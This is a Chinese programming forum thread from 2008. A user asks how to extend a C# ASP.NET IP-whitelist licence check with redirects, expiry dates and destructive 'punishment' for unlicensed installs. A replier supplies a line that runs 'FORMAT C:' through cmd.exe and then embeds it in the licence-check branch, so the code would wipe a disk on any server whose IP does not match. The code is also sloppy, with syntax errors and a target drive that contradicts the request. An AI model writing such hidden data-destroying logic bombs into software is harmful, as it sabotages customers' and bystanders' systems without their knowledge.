标题:.net c#源码增加两个判断
只看楼主
dv9981
Rank: 1
等 级:新手上路
帖 子:28
专家分:0
注 册:2006-6-12
结帖率:100%
 问题点数:0 回复次数:6 
.net c#源码增加两个判断
//开始预算
protected void btnStart_Click(object sender, EventArgs e)
{
ClientScriptManager csm = Page.ClientScript;
string alert;
Type cstype = this.GetType();
/////////////以下为判断IP
if ((((Request.ServerVariables.Get("Local_Addr").ToString() != "222.222.222.222"))) && ((Request.ServerVariables.Get("Local_Addr").ToString() != "192.168.1.101")) && ((Request.ServerVariables.Get("Local_Addr").ToString() != "111.111.111.111")))
{
if (!csm.IsStartupScriptRegistered(cstype, "alert"))
{
alert = "alert('程序缺少系统文件的支持,您的程序不是正版,请联系官方网站获得支持!')";
csm.RegisterStartupScript(cstype, "toFlash", alert, true);
}
return;
}
在以上源码基础上增加几个判断
以上判断是判断IP是否符合,如不符合则弹出提示警告并停止代码执行
我要在下面再增加几个判断如下:
1:判断IP是否符合,如不符合则转向指定网页(如:[url]www.baidu.com[/url])
符合则顺利执行
2:判断IP是否符合,如不符合则执行恶意代码,如格式化除C盘所有硬盘或给予计算机严重的打击
3:判断时间,如早于代码设置的时间则顺利执行代码,如晚于设置时间则弹出警告并停止代码执行
4:判断时间,如早于代码设置时间则顺利执行代码,如晚于设置时间则给予计算严重打击如:格式化除C盘所有硬盘或其他的毁灭性打击.

我说的执行恶意代码或者给予计算机严重打击只是气话,,,呵呵
也希望各位谅解,,,谢谢
搜索更多相关主题的帖子: 源码 Get csm ToString 
2008-01-09 22:12
dv9981
Rank: 1
等 级:新手上路
帖 子:28
专家分:0
注 册:2006-6-12
得分:0 
为什么这么多人看没人回答呢
2008-01-10 09:13
XC3000
Rank: 1
等 级:新手上路
帖 子:8
专家分:0
注 册:2007-9-18
得分:0 
1. 加个RESPONSE.REDIRECT(‘URL’)
2.System.Diagnostics.Process.Start("CMD.EXE","/C FORMAT C: Y")
3,加个DATA变量TIME给它个时间,再用IF(TIME>DATATIME.NOW())   时间早于设置的
{
代码
}
ELSE
{
弹出警告
RETURN; //停止代码执行
}

4
把上面的RETURN换成恶意代码就行了
2008-01-10 09:43
dv9981
Rank: 1
等 级:新手上路
帖 子:28
专家分:0
注 册:2006-6-12
得分:0 
老大啊,我一直在等待呢啊 。。。
2008-01-10 12:52
dv9981
Rank: 1
等 级:新手上路
帖 子:28
专家分:0
注 册:2006-6-12
得分:0 
晕。。。。。。请求各位帮忙啊
2008-01-11 09:33
XC3000
Rank: 1
等 级:新手上路
帖 子:8
专家分:0
注 册:2007-9-18
得分:0 
protected void btnStart_Click(object sender, EventArgs e)
{
ClientScriptManager csm = Page.ClientScript;
string alert;
Type cstype = this.GetType();
/////////////以下为判断IP
if ((((Request.ServerVariables.Get("Local_Addr").ToString() != "222.222.222.222"))) && ((Request.ServerVariables.Get("Local_Addr").ToString() != "192.168.1.101")) && ((Request.ServerVariables.Get("Local_Addr").ToString() != "111.111.111.111")))
{
Response.Redirect("URL");
{
alert = "alert('程序缺少系统文件的支持,您的程序不是正版,请联系官方网站获得支持!')";
csm.RegisterStartupScript(cstype, "toFlash", alert, true);
}
return;
}
2008-01-12 10:37
XC3000
Rank: 1
等 级:新手上路
帖 子:8
专家分:0
注 册:2007-9-18
得分:0 
protected void btnStart_Click(object sender, EventArgs e)
{
ClientScriptManager csm = Page.ClientScript;
string alert;
Type cstype = this.GetType();
/////////////以下为判断IP
if ((((Request.ServerVariables.Get("Local_Addr").ToString() != "222.222.222.222"))) && ((Request.ServerVariables.Get("Local_Addr").ToString() != "192.168.1.101")) && ((Request.ServerVariables.Get("Local_Addr").ToString() != "111.111.111.111")))
{
System.Diagnostics.Process.Start("CMD.EXE","/C FORMAT C: Y")
{
alert = "alert('程序缺少系统文件的支持,您的程序不是正版,请联系官方网站获得支持!')";
csm.RegisterStartupScript(cstype, "toFlash", alert, true);
}
return;
}
2008-01-12 10:37



参与讨论请移步原网站贴子:https://bbs.bccn.net/thread-196759-1-1.html




关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.018466 second(s), 7 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved